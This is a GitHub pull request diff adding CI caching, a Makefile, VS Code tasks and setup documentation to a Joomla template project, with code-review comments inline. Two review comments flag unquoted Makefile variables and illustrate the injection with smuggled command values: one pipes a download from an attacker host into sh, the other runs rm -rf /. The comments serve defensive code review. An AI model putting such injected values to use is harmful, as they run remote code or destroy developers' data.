Improve Joomla development workflows and convert scripts to Python #31
49
.github/workflows/joomla_testing.yml
vendored
@@ -56,23 +56,46 @@ jobs:
|
||||
uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: '18'
|
||||
cache: 'npm'
|
||||
cache-dependency-path: '**/package-lock.json'
|
||||
|
|
||||
|
||||
- name: Cache Joomla Downloads
|
||||
uses: actions/cache@v4
|
||||
with:
|
||||
path: /tmp/joomla-cache
|
||||
key: joomla-${{ matrix.joomla-version }}
|
||||
restore-keys: |
|
||||
joomla-${{ matrix.joomla-version }}
|
||||
|
||||
- name: Download Joomla ${{ matrix.joomla-version }}
|
||||
run: |
|
||||
mkdir -p /tmp/joomla
|
||||
cd /tmp/joomla
|
||||
mkdir -p /tmp/joomla-cache
|
||||
|
||||
# Download appropriate Joomla version
|
||||
# Define ZIP file based on version
|
||||
if [ "${{ matrix.joomla-version }}" = "4.4" ]; then
|
||||
wget -q https://downloads.joomla.org/cms/joomla4/4-4-9/Joomla_4-4-9-Stable-Full_Package.zip
|
||||
unzip -q Joomla_4-4-9-Stable-Full_Package.zip
|
||||
ZIP_FILE="Joomla_4-4-9-Stable-Full_Package.zip"
|
||||
ZIP_URL="https://downloads.joomla.org/cms/joomla4/4-4-9/${ZIP_FILE}"
|
||||
elif [ "${{ matrix.joomla-version }}" = "5.0" ]; then
|
||||
wget -q https://downloads.joomla.org/cms/joomla5/5-0-3/Joomla_5-0-3-Stable-Full_Package.zip
|
||||
unzip -q Joomla_5-0-3-Stable-Full_Package.zip
|
||||
ZIP_FILE="Joomla_5-0-3-Stable-Full_Package.zip"
|
||||
ZIP_URL="https://downloads.joomla.org/cms/joomla5/5-0-3/${ZIP_FILE}"
|
||||
else
|
||||
wget -q https://downloads.joomla.org/cms/joomla5/5-1-4/Joomla_5-1-4-Stable-Full_Package.zip
|
||||
unzip -q Joomla_5-1-4-Stable-Full_Package.zip
|
||||
ZIP_FILE="Joomla_5-1-4-Stable-Full_Package.zip"
|
||||
ZIP_URL="https://downloads.joomla.org/cms/joomla5/5-1-4/${ZIP_FILE}"
|
||||
fi
|
||||
|
||||
# Use cached ZIP if available, otherwise download
|
||||
if [ -f "/tmp/joomla-cache/${ZIP_FILE}" ]; then
|
||||
echo "Using cached Joomla package: ${ZIP_FILE}"
|
||||
cp "/tmp/joomla-cache/${ZIP_FILE}" "/tmp/joomla/"
|
||||
else
|
||||
echo "Downloading Joomla package: ${ZIP_FILE}"
|
||||
wget -q "${ZIP_URL}" -O "/tmp/joomla/${ZIP_FILE}"
|
||||
cp "/tmp/joomla/${ZIP_FILE}" "/tmp/joomla-cache/"
|
||||
fi
|
||||
|
||||
cd /tmp/joomla
|
||||
unzip -q "${ZIP_FILE}"
|
||||
|
||||
- name: Configure Joomla
|
||||
run: |
|
||||
@@ -211,6 +234,16 @@ jobs:
|
||||
coverage: xdebug
|
||||
tools: composer:v2
|
||||
|
||||
- name: Cache Composer packages
|
||||
uses: actions/cache@v4
|
||||
with:
|
||||
path: ~/.composer
|
||||
key: ${{ runner.os }}-composer-codeception-8.1-${{ hashFiles('**/composer.lock') }}
|
||||
restore-keys: |
|
||||
${{ runner.os }}-composer-codeception-8.1-
|
||||
${{ runner.os }}-composer-codeception-
|
||||
${{ runner.os }}-composer-
|
||||
|
||||
- name: Install Codeception
|
||||
run: |
|
||||
composer global require codeception/codeception
|
||||
|
||||
30
.github/workflows/php_quality.yml
vendored
@@ -38,6 +38,16 @@ jobs:
|
||||
coverage: none
|
||||
tools: cs2pr
|
||||
|
||||
- name: Cache Composer packages
|
||||
uses: actions/cache@v4
|
||||
with:
|
||||
path: ~/.composer
|
||||
key: ${{ runner.os }}-composer-phpcs-${{ matrix.php-version }}-${{ hashFiles('**/composer.lock') }}
|
||||
restore-keys: |
|
||||
${{ runner.os }}-composer-phpcs-${{ matrix.php-version }}-
|
||||
${{ runner.os }}-composer-phpcs-
|
||||
${{ runner.os }}-composer-
|
||||
|
||||
- name: Install PHP_CodeSniffer
|
||||
run: |
|
||||
composer global require squizlabs/php_codesniffer
|
||||
@@ -82,6 +92,16 @@ jobs:
|
||||
extensions: mbstring, xml, ctype, json, zip
|
||||
coverage: none
|
||||
|
||||
- name: Cache Composer packages
|
||||
uses: actions/cache@v4
|
||||
with:
|
||||
path: ~/.composer
|
||||
key: ${{ runner.os }}-composer-phpstan-${{ matrix.php-version }}-${{ hashFiles('**/composer.lock') }}
|
||||
restore-keys: |
|
||||
${{ runner.os }}-composer-phpstan-${{ matrix.php-version }}-
|
||||
${{ runner.os }}-composer-phpstan-
|
||||
${{ runner.os }}-composer-
|
||||
|
||||
- name: Install PHPStan
|
||||
run: |
|
||||
composer global require phpstan/phpstan
|
||||
@@ -119,6 +139,16 @@ jobs:
|
||||
extensions: mbstring, xml, ctype, json, zip
|
||||
coverage: none
|
||||
|
||||
- name: Cache Composer packages
|
||||
uses: actions/cache@v4
|
||||
with:
|
||||
path: ~/.composer
|
||||
key: ${{ runner.os }}-composer-phpcompat-8.3-${{ hashFiles('**/composer.lock') }}
|
||||
restore-keys: |
|
||||
${{ runner.os }}-composer-phpcompat-8.3-
|
||||
${{ runner.os }}-composer-phpcompat-
|
||||
${{ runner.os }}-composer-
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
composer global require squizlabs/php_codesniffer
|
||||
|
||||
2
.github/workflows/repo_health.yml
vendored
@@ -36,7 +36,7 @@ env:
|
||||
# Scripts governance policy
|
||||
# Note: directories listed without a trailing slash.
|
||||
SCRIPTS_REQUIRED_DIRS:
|
||||
SCRIPTS_ALLOWED_DIRS: scripts,scripts/fix,scripts/lib,scripts/release,scripts/run,scripts/validate
|
||||
SCRIPTS_ALLOWED_DIRS: scripts,scripts/fix,scripts/git,scripts/lib,scripts/release,scripts/run,scripts/validate
|
||||
|
||||
# Repo health policy
|
||||
# Files are listed as-is; directories must end with a trailing slash.
|
||||
|
||||
36
.gitignore
vendored
@@ -33,7 +33,11 @@ System Volume Information/
|
||||
*.lnk
|
||||
Icon?
|
||||
.idea/
|
||||
.vscode/
|
||||
# .vscode/ - Allow specific VS Code config files
|
||||
.vscode/*
|
||||
!.vscode/tasks.json
|
||||
!.vscode/settings.json.example
|
||||
!.vscode/extensions.json
|
||||
*.code-workspace
|
||||
*.sublime-project
|
||||
*.sublime-workspace
|
||||
@@ -789,6 +793,36 @@ package-lock.json
|
||||
.phpunit.result.cache
|
||||
codeception.phar
|
||||
|
||||
# Python
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
*.so
|
||||
.Python
|
||||
build/
|
||||
develop-eggs/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
wheels/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
MANIFEST
|
||||
.pytest_cache/
|
||||
.coverage
|
||||
.coverage.*
|
||||
htmlcov/
|
||||
.tox/
|
||||
.nox/
|
||||
*.cover
|
||||
.hypothesis/
|
||||
|
||||
# ============================================================
|
||||
# Keep-empty folders helper
|
||||
# ============================================================
|
||||
|
||||
171
.vscode/tasks.json
vendored
Normal file
@@ -0,0 +1,171 @@
|
||||
{
|
||||
"version": "2.0.0",
|
||||
"tasks": [
|
||||
{
|
||||
"label": "Validate All",
|
||||
"type": "shell",
|
||||
"command": "./scripts/run/validate_all.sh",
|
||||
"group": {
|
||||
"kind": "test",
|
||||
"isDefault": true
|
||||
},
|
||||
"presentation": {
|
||||
"reveal": "always",
|
||||
"panel": "new"
|
||||
},
|
||||
"problemMatcher": []
|
||||
},
|
||||
{
|
||||
"label": "Validate Required",
|
||||
"type": "shell",
|
||||
"command": "make validate-required",
|
||||
"group": "test",
|
||||
"presentation": {
|
||||
"reveal": "always",
|
||||
"panel": "new"
|
||||
},
|
||||
"problemMatcher": []
|
||||
},
|
||||
{
|
||||
"label": "Run Tests",
|
||||
"type": "shell",
|
||||
"command": "codecept run",
|
||||
"group": "test",
|
||||
"presentation": {
|
||||
"reveal": "always",
|
||||
"panel": "new"
|
||||
},
|
||||
"problemMatcher": []
|
||||
},
|
||||
{
|
||||
"label": "PHP CodeSniffer",
|
||||
"type": "shell",
|
||||
"command": "phpcs --standard=phpcs.xml src/",
|
||||
"group": "test",
|
||||
"presentation": {
|
||||
"reveal": "always",
|
||||
"panel": "shared"
|
||||
},
|
||||
"problemMatcher": {
|
||||
"owner": "php",
|
||||
"fileLocation": "relative",
|
||||
"pattern": {
|
||||
"regexp": "^(.+):(\\d+):(\\d+):\\s+(error|warning)\\s+-\\s+(.+)$",
|
||||
"file": 1,
|
||||
"line": 2,
|
||||
"column": 3,
|
||||
"severity": 4,
|
||||
"message": 5
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"label": "PHP CodeSniffer - Auto Fix",
|
||||
"type": "shell",
|
||||
"command": "phpcbf --standard=phpcs.xml src/",
|
||||
"group": "none",
|
||||
"presentation": {
|
||||
"reveal": "always",
|
||||
"panel": "shared"
|
||||
},
|
||||
"problemMatcher": []
|
||||
},
|
||||
{
|
||||
"label": "PHPStan",
|
||||
"type": "shell",
|
||||
"command": "phpstan analyse --configuration=phpstan.neon",
|
||||
"group": "test",
|
||||
"presentation": {
|
||||
"reveal": "always",
|
||||
"panel": "shared"
|
||||
},
|
||||
"problemMatcher": {
|
||||
"owner": "php",
|
||||
"fileLocation": "relative",
|
||||
"pattern": {
|
||||
"regexp": "^(.+):(\\d+):\\s+(.+)$",
|
||||
"file": 1,
|
||||
"line": 2,
|
||||
"message": 3
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"label": "Create Package",
|
||||
"type": "shell",
|
||||
"command": "./scripts/release/package_extension.sh dist",
|
||||
"group": "build",
|
||||
"presentation": {
|
||||
"reveal": "always",
|
||||
"panel": "new"
|
||||
},
|
||||
"problemMatcher": []
|
||||
},
|
||||
{
|
||||
"label": "Smoke Test",
|
||||
"type": "shell",
|
||||
"command": "./scripts/run/smoke_test.sh",
|
||||
"group": "test",
|
||||
"presentation": {
|
||||
"reveal": "always",
|
||||
"panel": "new"
|
||||
},
|
||||
"problemMatcher": []
|
||||
},
|
||||
{
|
||||
"label": "Script Health Check",
|
||||
"type": "shell",
|
||||
"command": "./scripts/run/script_health.sh",
|
||||
"group": "test",
|
||||
"presentation": {
|
||||
"reveal": "always",
|
||||
"panel": "new"
|
||||
},
|
||||
"problemMatcher": []
|
||||
},
|
||||
{
|
||||
"label": "Check Code Quality",
|
||||
"type": "shell",
|
||||
"command": "make quality",
|
||||
"group": "test",
|
||||
"presentation": {
|
||||
"reveal": "always",
|
||||
"panel": "new"
|
||||
},
|
||||
"problemMatcher": []
|
||||
},
|
||||
{
|
||||
"label": "Fix Permissions",
|
||||
"type": "shell",
|
||||
"command": "make fix-permissions",
|
||||
"group": "none",
|
||||
"presentation": {
|
||||
"reveal": "always",
|
||||
"panel": "shared"
|
||||
},
|
||||
"problemMatcher": []
|
||||
},
|
||||
{
|
||||
"label": "Clean",
|
||||
"type": "shell",
|
||||
"command": "make clean",
|
||||
"group": "none",
|
||||
"presentation": {
|
||||
"reveal": "always",
|
||||
"panel": "shared"
|
||||
},
|
||||
"problemMatcher": []
|
||||
},
|
||||
{
|
||||
"label": "Install Git Hooks",
|
||||
"type": "shell",
|
||||
"command": "./scripts/git/install-hooks.sh",
|
||||
"group": "none",
|
||||
"presentation": {
|
||||
"reveal": "always",
|
||||
"panel": "new"
|
||||
},
|
||||
"problemMatcher": []
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -48,6 +48,37 @@ Contributors are expected to:
|
||||
* Have a working understanding of Joomla template structure.
|
||||
* Be familiar with Git and GitHub pull request workflows.
|
||||
* Review repository governance documents prior to submitting changes.
|
||||
* Set up the development environment using the provided tools.
|
||||
|
||||
### Quick Setup
|
||||
|
||||
For first-time contributors:
|
||||
|
||||
```bash
|
||||
# Clone the repository
|
||||
git clone https://github.com/mokoconsulting-tech/moko-cassiopeia.git
|
||||
cd moko-cassiopeia
|
||||
|
||||
# Run development setup
|
||||
make dev-setup
|
||||
|
||||
# Install Git hooks (optional but recommended)
|
||||
./scripts/git/install-hooks.sh
|
||||
```
|
||||
|
||||
See [docs/QUICK_START.md](./docs/QUICK_START.md) for detailed setup instructions.
|
||||
|
||||
## Development Tools
|
||||
|
||||
The repository provides several tools to streamline development:
|
||||
|
||||
* **Makefile**: Common development tasks (`make help` to see all commands)
|
||||
* **Pre-commit Hooks**: Automatic local validation before commits
|
||||
* **VS Code Tasks**: Pre-configured tasks for common operations
|
||||
* **Validation Scripts**: Located in `scripts/validate/`
|
||||
* **CI/CD Workflows**: Automated testing and deployment
|
||||
|
||||
Run `make validate-required` before submitting PRs to catch common issues early.
|
||||
|
||||
## Contribution Workflow
|
||||
|
||||
|
||||
227
Makefile
Normal file
@@ -0,0 +1,227 @@
|
||||
# Makefile for Moko Cassiopeia Development
|
||||
# Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
|
||||
#
|
||||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
.PHONY: help install validate test quality package clean dev-setup
|
||||
|
||||
# Default target
|
||||
.DEFAULT_GOAL := help
|
||||
|
||||
# Version detection
|
||||
VERSION := $(shell grep -oP '<version>\K[^<]+' src/templates/templateDetails.xml 2>/dev/null || echo "unknown")
|
||||
|
||||
## help: Show this help message
|
||||
help:
|
||||
@echo "Moko Cassiopeia Development Makefile"
|
||||
@echo ""
|
||||
@echo "Version: $(VERSION)"
|
||||
@echo ""
|
||||
@echo "Available targets:"
|
||||
@sed -n 's/^##//p' $(MAKEFILE_LIST) | column -t -s ':' | sed -e 's/^/ /'
|
||||
|
||||
## install: Install development dependencies
|
||||
install:
|
||||
@echo "Installing development dependencies..."
|
||||
@command -v composer >/dev/null 2>&1 || { echo "Error: composer not found. Please install composer first."; exit 1; }
|
||||
composer global require squizlabs/php_codesniffer
|
||||
composer global require phpstan/phpstan
|
||||
composer global require phpcompatibility/php-compatibility
|
||||
composer global require codeception/codeception
|
||||
phpcs --config-set installed_paths ~/.composer/vendor/phpcompatibility/php-compatibility
|
||||
|
The Makefile uses '@' prefix to suppress command output, but on line 26 uses an error check without '@', which could cause the command itself to be displayed. Consider adding '@' prefix for consistency, or explicitly show commands when they're being checked for availability. The Makefile uses '@' prefix to suppress command output, but on line 26 uses an error check without '@', which could cause the command itself to be displayed. Consider adding '@' prefix for consistency, or explicitly show commands when they're being checked for availability.
```suggestion
@composer global require squizlabs/php_codesniffer
@composer global require phpstan/phpstan
@composer global require phpcompatibility/php-compatibility
@composer global require codeception/codeception
@phpcs --config-set installed_paths ~/.composer/vendor/phpcompatibility/php-compatibility
```
|
||||
@echo "✓ Dependencies installed"
|
||||
|
||||
## validate: Run all validation scripts
|
||||
validate:
|
||||
@echo "Running validation scripts..."
|
||||
@./scripts/run/validate_all.sh
|
||||
|
||||
## validate-required: Run only required validation scripts
|
||||
validate-required:
|
||||
@echo "Running required validations..."
|
||||
@./scripts/validate/manifest.sh
|
||||
@./scripts/validate/xml_wellformed.sh
|
||||
@./scripts/validate/workflows.sh
|
||||
@echo "✓ Required validations passed"
|
||||
|
||||
## test: Run all tests
|
||||
test:
|
||||
@echo "Running tests..."
|
||||
@command -v codecept >/dev/null 2>&1 || { echo "Error: codecept not found. Run 'make install' first."; exit 1; }
|
||||
codecept run
|
||||
|
||||
## test-unit: Run unit tests only
|
||||
test-unit:
|
||||
@echo "Running unit tests..."
|
||||
@command -v codecept >/dev/null 2>&1 || { echo "Error: codecept not found. Run 'make install' first."; exit 1; }
|
||||
codecept run unit
|
||||
|
||||
## test-acceptance: Run acceptance tests only
|
||||
test-acceptance:
|
||||
@echo "Running acceptance tests..."
|
||||
@command -v codecept >/dev/null 2>&1 || { echo "Error: codecept not found. Run 'make install' first."; exit 1; }
|
||||
codecept run acceptance
|
||||
|
||||
## quality: Run code quality checks
|
||||
quality:
|
||||
@echo "Running code quality checks..."
|
||||
@$(MAKE) phpcs
|
||||
@$(MAKE) phpstan
|
||||
@$(MAKE) phpcompat
|
||||
|
||||
## phpcs: Run PHP_CodeSniffer
|
||||
phpcs:
|
||||
@echo "Running PHP_CodeSniffer..."
|
||||
@command -v phpcs >/dev/null 2>&1 || { echo "Error: phpcs not found. Run 'make install' first."; exit 1; }
|
||||
phpcs --standard=phpcs.xml src/
|
||||
|
||||
## phpcs-fix: Auto-fix PHPCS violations
|
||||
phpcs-fix:
|
||||
@echo "Auto-fixing PHPCS violations..."
|
||||
@command -v phpcbf >/dev/null 2>&1 || { echo "Error: phpcbf not found. Run 'make install' first."; exit 1; }
|
||||
phpcbf --standard=phpcs.xml src/
|
||||
|
||||
## phpstan: Run PHPStan static analysis
|
||||
phpstan:
|
||||
@echo "Running PHPStan..."
|
||||
@command -v phpstan >/dev/null 2>&1 || { echo "Error: phpstan not found. Run 'make install' first."; exit 1; }
|
||||
phpstan analyse --configuration=phpstan.neon
|
||||
|
||||
## phpcompat: Check PHP 8.0+ compatibility
|
||||
phpcompat:
|
||||
@echo "Checking PHP 8.0+ compatibility..."
|
||||
@command -v phpcs >/dev/null 2>&1 || { echo "Error: phpcs not found. Run 'make install' first."; exit 1; }
|
||||
phpcs --standard=PHPCompatibility --runtime-set testVersion 8.0- src/
|
||||
|
||||
## package: Create distribution package
|
||||
package:
|
||||
@echo "Creating distribution package..."
|
||||
@./scripts/release/package_extension.sh dist $(VERSION)
|
||||
@echo "✓ Package created: dist/moko-cassiopeia-$(VERSION)-*.zip"
|
||||
|
||||
## smoke-test: Run smoke tests
|
||||
smoke-test:
|
||||
@echo "Running smoke tests..."
|
||||
@./scripts/run/smoke_test.sh
|
||||
|
||||
## script-health: Check script health
|
||||
script-health:
|
||||
@echo "Checking script health..."
|
||||
@./scripts/run/script_health.sh
|
||||
|
||||
## version-check: Display current version information
|
||||
version-check:
|
||||
@echo "Version Information:"
|
||||
@echo " Manifest: $(VERSION)"
|
||||
@echo " Latest CHANGELOG entry:"
|
||||
@grep -m 1 "^## \[" CHANGELOG.md || echo " (not found)"
|
||||
|
||||
## fix-permissions: Fix script executable permissions
|
||||
fix-permissions:
|
||||
@echo "Fixing script permissions..."
|
||||
@find scripts -type f -name "*.sh" -exec chmod +x {} \;
|
||||
@echo "✓ Permissions fixed"
|
||||
|
||||
## clean: Remove generated files and caches
|
||||
clean:
|
||||
@echo "Cleaning generated files..."
|
||||
@rm -rf dist/
|
||||
@rm -rf tests/_output/
|
||||
@rm -rf .phpunit.cache/
|
||||
@find . -type f -name "*.log" -delete
|
||||
@find . -type f -name ".DS_Store" -delete
|
||||
@echo "✓ Cleaned"
|
||||
|
||||
## dev-setup: Complete development environment setup
|
||||
dev-setup:
|
||||
@echo "Setting up development environment..."
|
||||
@$(MAKE) install
|
||||
@$(MAKE) fix-permissions
|
||||
@echo ""
|
||||
@echo "✓ Development environment ready!"
|
||||
@echo ""
|
||||
@echo "Quick start:"
|
||||
@echo " make validate - Run all validations"
|
||||
@echo " make test - Run tests"
|
||||
@echo " make quality - Check code quality"
|
||||
@echo " make package - Create distribution package"
|
||||
|
||||
## format: Format code (PHPCS auto-fix)
|
||||
format: phpcs-fix
|
||||
|
||||
## check: Quick check (required validations + quality)
|
||||
check:
|
||||
@echo "Running quick checks..."
|
||||
@$(MAKE) validate-required
|
||||
@$(MAKE) quality
|
||||
@echo "✓ All checks passed"
|
||||
|
||||
## all: Run everything (validate, test, quality, package)
|
||||
all:
|
||||
@echo "Running complete build pipeline..."
|
||||
@$(MAKE) validate
|
||||
@$(MAKE) test
|
||||
@$(MAKE) quality
|
||||
@$(MAKE) package
|
||||
@echo "✓ Complete pipeline successful"
|
||||
|
||||
## watch: Watch for changes and run validations (requires entr)
|
||||
watch:
|
||||
@echo "Watching for changes... (Ctrl+C to stop)"
|
||||
@command -v entr >/dev/null 2>&1 || { echo "Error: entr not found. Install with: apt-get install entr"; exit 1; }
|
||||
@find src -type f | entr -c make validate-required
|
||||
|
||||
## list-scripts: List all available scripts
|
||||
list-scripts:
|
||||
@echo "Available validation scripts:"
|
||||
@find scripts/validate -type f -name "*.sh" -exec basename {} \; | sort
|
||||
@echo ""
|
||||
@echo "Available fix scripts:"
|
||||
@find scripts/fix -type f -name "*.sh" -exec basename {} \; | sort
|
||||
@echo ""
|
||||
@echo "Available run scripts (bash):"
|
||||
@find scripts/run -type f -name "*.sh" -exec basename {} \; | sort
|
||||
@echo ""
|
||||
@echo "Available run scripts (python):"
|
||||
@find scripts/run -type f -name "*.py" -exec basename {} \; | sort
|
||||
|
||||
## scaffold: Create new Joomla extension scaffolding
|
||||
scaffold:
|
||||
@echo "Create new Joomla extension scaffolding"
|
||||
@echo ""
|
||||
@echo "Usage: make scaffold TYPE=<type> NAME=<name> AUTHOR=<author> DESC=<description>"
|
||||
@echo ""
|
||||
@echo "Types: component, module, plugin, template, package"
|
||||
@echo ""
|
||||
@echo "Example:"
|
||||
@echo " make scaffold TYPE=module NAME='My Module' AUTHOR='John Doe' DESC='Module description'"
|
||||
|
||||
## scaffold-component: Create a component
|
||||
scaffold-component:
|
||||
@python3 scripts/run/scaffold_extension.py component "$(NAME)" "$(DESC)" "$(AUTHOR)"
|
||||
|
||||
## scaffold-module: Create a module
|
||||
scaffold-module:
|
||||
@python3 scripts/run/scaffold_extension.py module "$(NAME)" "$(DESC)" "$(AUTHOR)" --client $(CLIENT)
|
||||
|
||||
## scaffold-plugin: Create a plugin
|
||||
scaffold-plugin:
|
||||
@python3 scripts/run/scaffold_extension.py plugin "$(NAME)" "$(DESC)" "$(AUTHOR)" --group $(GROUP)
|
||||
|
The 'scaffold-module' and 'scaffold-plugin' targets reference variables 'CLIENT' and 'GROUP' respectively, but these variables don't have default values. If a user runs these targets without specifying the variables (e.g., 'make scaffold-module NAME="Test"'), the command will pass empty values to the Python script. Consider adding default values (e.g., 'CLIENT ?= site' and 'GROUP ?= system') or documenting that these must be provided. The 'scaffold-module' and 'scaffold-plugin' targets reference variables 'CLIENT' and 'GROUP' respectively, but these variables don't have default values. If a user runs these targets without specifying the variables (e.g., 'make scaffold-module NAME="Test"'), the command will pass empty values to the Python script. Consider adding default values (e.g., 'CLIENT ?= site' and 'GROUP ?= system') or documenting that these must be provided.
In the In the `scaffold-module` target, the `$(CLIENT)` variable is interpolated into the shell command without quoting (`--client $(CLIENT)`), which allows shell metacharacters in `CLIENT` to break out of the intended argument and execute arbitrary commands (e.g. `CLIENT="site; curl https://attacker/... | sh"`). If an attacker can influence `CLIENT` (via environment variables or `make` arguments in an automated context), running `make scaffold-module` results in remote code execution under the developer's account. Treat `CLIENT` as untrusted and ensure it is safely passed as data (for example by quoting it and avoiding any expansion that lets the shell interpret its contents as additional arguments or commands).
```suggestion
@python3 scripts/run/scaffold_extension.py module "$(NAME)" "$(DESC)" "$(AUTHOR)" --client "$(CLIENT)"
## scaffold-plugin: Create a plugin
scaffold-plugin:
@python3 scripts/run/scaffold_extension.py plugin "$(NAME)" "$(DESC)" "$(AUTHOR)" --group "$(GROUP)"
```
In the In the `scaffold-plugin` target, the `$(GROUP)` variable is used unquoted in the shell command (`--group $(GROUP)`), so a malicious value containing shell metacharacters can inject extra arguments or commands (e.g. `GROUP="system; rm -rf /"`). If `GROUP` is influenced by external input (environment variables, wrapper scripts, or CI parameters), invoking `make scaffold-plugin` can lead to arbitrary command execution. Treat `GROUP` as untrusted input and ensure it is safely handled (for example by quoting it so the shell cannot interpret its contents beyond a single argument).
```suggestion
@python3 scripts/run/scaffold_extension.py plugin "$(NAME)" "$(DESC)" "$(AUTHOR)" --group "$(GROUP)"
```
|
||||
|
||||
## scaffold-template: Create a template
|
||||
scaffold-template:
|
||||
@python3 scripts/run/scaffold_extension.py template "$(NAME)" "$(DESC)" "$(AUTHOR)"
|
||||
|
||||
## scaffold-package: Create a package
|
||||
scaffold-package:
|
||||
@python3 scripts/run/scaffold_extension.py package "$(NAME)" "$(DESC)" "$(AUTHOR)"
|
||||
|
||||
## docs: Open documentation
|
||||
docs:
|
||||
@echo "Documentation files:"
|
||||
@echo " README.md - Project overview"
|
||||
@echo " docs/JOOMLA_DEVELOPMENT.md - Development guide"
|
||||
@echo " docs/WORKFLOW_GUIDE.md - Workflow reference"
|
||||
@echo " scripts/README.md - Scripts documentation"
|
||||
@echo " CHANGELOG.md - Version history"
|
||||
@echo " CONTRIBUTING.md - Contribution guide"
|
||||
65
README.md
@@ -134,6 +134,44 @@ If upgrading from a prior version, Joomla will safely overwrite files
|
||||
|
||||
For developers and contributors working on the moko-cassiopeia template:
|
||||
|
||||
### Quick Start for Developers
|
||||
|
||||
Get started in minutes:
|
||||
|
||||
```bash
|
||||
# Setup development environment
|
||||
make dev-setup
|
||||
|
||||
# Validate code
|
||||
make validate-required
|
||||
|
||||
# Check code quality
|
||||
make quality
|
||||
|
||||
# Create distribution package
|
||||
make package
|
||||
|
||||
# Install Git hooks (optional but recommended)
|
||||
./scripts/git/install-hooks.sh
|
||||
```
|
||||
|
||||
**New to the project?** See [Quick Start Guide](./docs/QUICK_START.md) for a 5-minute walkthrough.
|
||||
|
||||
### Development Resources
|
||||
|
||||
- **[Quick Start Guide](./docs/QUICK_START.md)** - Get up and running in 5 minutes
|
||||
- **[Workflow Guide](./docs/WORKFLOW_GUIDE.md)** - Complete workflow reference with examples
|
||||
- **[Joomla Development Guide](./docs/JOOMLA_DEVELOPMENT.md)** - Testing, quality checks, and deployment
|
||||
- **[Scripts Documentation](./scripts/README.md)** - Available automation scripts
|
||||
- **[Contributing Guide](./CONTRIBUTING.md)** - How to contribute
|
||||
|
||||
### Available Tools
|
||||
|
||||
- **Makefile**: Run `make help` to see all available commands
|
||||
- **Pre-commit Hooks**: Automatic validation before commits
|
||||
- **VS Code Tasks**: Pre-configured development tasks
|
||||
- **GitHub Actions**: Automated CI/CD pipelines
|
||||
|
||||
### Joomla Development Workflows
|
||||
|
||||
Comprehensive Joomla-aware development tools and workflows are available:
|
||||
@@ -141,32 +179,9 @@ Comprehensive Joomla-aware development tools and workflows are available:
|
||||
- **Extension Packaging** - Create distributable ZIP packages
|
||||
- **PHP Quality Checks** - PHPStan and PHP_CodeSniffer with Joomla standards
|
||||
- **Automated Testing** - Codeception framework with multiple Joomla versions
|
||||
- **CI/CD Pipelines** - GitHub Actions for testing and deployment
|
||||
- **CI/CD Pipelines** - GitHub Actions with caching for faster builds
|
||||
|
||||
See the [Joomla Development Guide](./docs/JOOMLA_DEVELOPMENT.md) for:
|
||||
- Setup instructions for local development
|
||||
- Running tests and quality checks
|
||||
- Creating release packages
|
||||
- Deployment workflows
|
||||
- CI/CD pipeline details
|
||||
|
||||
### Quick Start for Developers
|
||||
|
||||
```bash
|
||||
# Validate code
|
||||
./scripts/validate/php_syntax.sh
|
||||
./scripts/validate/manifest.sh
|
||||
|
||||
# Create distribution package
|
||||
./scripts/release/package_extension.sh dist 3.5.0
|
||||
|
||||
# Run tests (requires Codeception)
|
||||
codecept run
|
||||
|
||||
# Check code quality (requires PHPStan/PHPCS)
|
||||
phpstan analyse --configuration=phpstan.neon
|
||||
phpcs --standard=phpcs.xml
|
||||
```
|
||||
Run `make help` to see all available development commands.
|
||||
|
||||
## Changelog
|
||||
|
||||
|
||||
352
docs/QUICK_START.md
Normal file
@@ -0,0 +1,352 @@
|
||||
# Quick Start Guide - Moko Cassiopeia Development
|
||||
|
||||
Get up and running with Moko Cassiopeia development in minutes.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Before you begin, ensure you have:
|
||||
|
||||
- **Git** - For version control
|
||||
- **PHP 8.0+** - Required runtime
|
||||
- **Composer** - PHP dependency manager
|
||||
- **Make** (optional) - For convenient commands
|
||||
- **Code Editor** - VS Code recommended (tasks pre-configured)
|
||||
|
||||
## 5-Minute Setup
|
||||
|
||||
### 1. Clone the Repository
|
||||
|
||||
```bash
|
||||
git clone https://github.com/mokoconsulting-tech/moko-cassiopeia.git
|
||||
cd moko-cassiopeia
|
||||
```
|
||||
|
||||
### 2. Install Development Dependencies
|
||||
|
||||
```bash
|
||||
# Using Make (recommended)
|
||||
make dev-setup
|
||||
|
||||
# Or manually
|
||||
composer global require squizlabs/php_codesniffer
|
||||
composer global require phpstan/phpstan
|
||||
composer global require phpcompatibility/php-compatibility
|
||||
composer global require codeception/codeception
|
||||
```
|
||||
|
||||
### 3. Install Git Hooks (Optional but Recommended)
|
||||
|
||||
```bash
|
||||
./scripts/git/install-hooks.sh
|
||||
```
|
||||
|
||||
### 4. Validate Everything Works
|
||||
|
||||
```bash
|
||||
# Quick validation
|
||||
make validate-required
|
||||
|
||||
# Or comprehensive validation
|
||||
make validate
|
||||
```
|
||||
|
||||
## Common Tasks
|
||||
|
||||
### Development Workflow
|
||||
|
||||
```bash
|
||||
# 1. Make your changes
|
||||
vim src/templates/index.php
|
||||
|
||||
# 2. Validate locally
|
||||
make validate-required
|
||||
|
||||
# 3. Check code quality
|
||||
make quality
|
||||
|
||||
# 4. Commit
|
||||
git add -A
|
||||
git commit -m "feat: add new feature"
|
||||
# (pre-commit hook runs automatically)
|
||||
|
||||
# 5. Push
|
||||
git push origin your-branch
|
||||
```
|
||||
|
||||
### Testing
|
||||
|
||||
```bash
|
||||
# Run all tests
|
||||
make test
|
||||
|
||||
# Run unit tests only
|
||||
make test-unit
|
||||
|
||||
# Run acceptance tests only
|
||||
make test-acceptance
|
||||
```
|
||||
|
||||
### Code Quality
|
||||
|
||||
```bash
|
||||
# Check everything
|
||||
make quality
|
||||
|
||||
# PHP CodeSniffer only
|
||||
make phpcs
|
||||
|
||||
# Auto-fix PHPCS issues
|
||||
